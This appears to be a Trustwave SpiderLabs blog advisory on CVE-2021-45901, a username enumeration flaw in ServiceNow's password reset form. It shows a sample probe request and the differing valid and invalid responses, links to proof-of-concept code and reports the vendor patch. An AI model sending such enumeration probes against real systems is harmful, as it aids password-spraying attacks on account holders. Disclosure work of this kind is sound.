Trustwave SpiderLabs Uncovers Critical Cybersecurity Vulnerabilities Exposing Manufacturers to Costly Attacks. Learn More

Trustwave SpiderLabs Uncovers Critical Cybersecurity Vulnerabilities Exposing Manufacturers to Costly Attacks. Learn More

Services
Capture
Managed Detection & Response

Eradicate cyberthreats with world-class intel and expertise

twi-cloud-lock-color-svg
Managed Security Services

Expand your team’s capabilities and strengthen your security posture

twi-briefcase-color-svg
Consulting & Professional Services

Tap into our global team of tenured cybersecurity specialists

twi-dashboard-color-svg
Penetration Testing

Subscription- or project-based testing, delivered by global experts

twi-database-color-svg
Database Security

Get ahead of database risk, protect data and exceed compliance requirements

twi-email-color-svg
Email Security & Management

Catch email threats others miss with layered security & maximum control

twi-managed-portal-color
Co-Managed SOC (SIEM)

Eliminate alert fatigue, focus your SecOps team, stop threats fast, and reduce cyber risk

Solutions
BY TOPIC
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
The Trustwave Approach
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Platform
SpiderLabs Fusion Center
Security Operations Centers
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

ServiceNow - Username Enumeration Vulnerability (CVE-2021-45901)

During a recent engagement Trustwave SpiderLabs discovered a vulnerability (CVE-2021-45901) within ServiceNow (Orlando) which allows for a successful username enumeration by using a wordlist. By using an unauthenticated session and navigating to the password reset form, it is possible to infer a valid username. This is achieved through examination of the HTTP POST response data initially triggered by the password reset web form. This response differs depending on a username's existence.

This type of vulnerability can be used to chain together further attacks, such as password spray attacks, using known valid usernames.

ServiceNow is a highly utilized productivity management platform and in many cases is accessible via public domains. ServiceNow has patched this issue and recommends users update to ServiceNow (Rome) or later.

Example

The following illustrates the observable discrepancies within the HTTP Response POST Data which is used to infer a valid vs non-valid username. The section to pay attention to is the 'xml answer' value, where in a valid response the value will be 200 and an invalid response the value will be 500.

HTTP Request

POST /$pwd_reset.do?sysparm_url=ss_default HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0

[--- some fields cut for clarity ---]

sysparm_processor=PwdAjaxVerifyIdentity&sysparm_scope=global&sysparm_want_session_messages=true&sysparm_name=verifyIdentity&sysparm_process_id=<redacted>&sysparm_processor_id_0=<redacted>&sysparm_user_id_0=admin&sysparm_identification_number=1&sysparm_pwd_csrf_token=<redacted>&ni.nolog.x_referer=ignore&x_referer=%24pwd_reset.do%3Fsysparm_url%3Dss_default

HTTP Response for a Valid Username

HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false

[--- some fields cut for clarity ---]

<?xml version="1.0" encoding="UTF-8"?>
   <xml answer="200" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
   <security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>

HTTP Response for a Invalid Username

HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false

[--- some fields cut for clarity ---]

<?xml version="1.0" encoding="UTF-8"?>
   <xml answer="500" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
   <security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>

As a part of Trustwave’s Responsible Disclosure Policy, we reached out to the vendor to ensure that a patch was released prior to public disclosure. The vendor's recommendation is to upgrade to Servicenow (Rome) which utilizes a simple captcha to assist in guarding against the vulnerability.

The following illustrates the custom script Trustwave SpiderLabs used to showcase the vulnerability against a susceptible endpoint.

 

POC code: https://github.com/9lyph/CVE-2021-45901

Latest SpiderLabs Blogs

Trustwave SpiderLabs Report: LockBit 3.0 Ransomware Vs. the Manufacturing Sector

As the manufacturing sector continues its digital transformation, Operational Technology (OT), Industrial Control Systems (ICS), and Supervisory Control and Data Acquisition (SCADA) are becoming...

Read More

Overview of the Cyberwarfare used in Israel – Hamas War

On October 7, 2023, the Palestinian organization Hamas launched the biggest attack on Israel in years, resulting in numerous casualties and hostages taken. Israel responded with a large-scale ground...

Read More

The 2023 Retail Services Sector Threat Landscape: A Trustwave Threat Intelligence Briefing

The annual holiday shopping season is poised for a surge in spending, a fact well-known to retailers, consumers, and cybercriminals alike. The latter group, however, is poised to exploit any...

Read More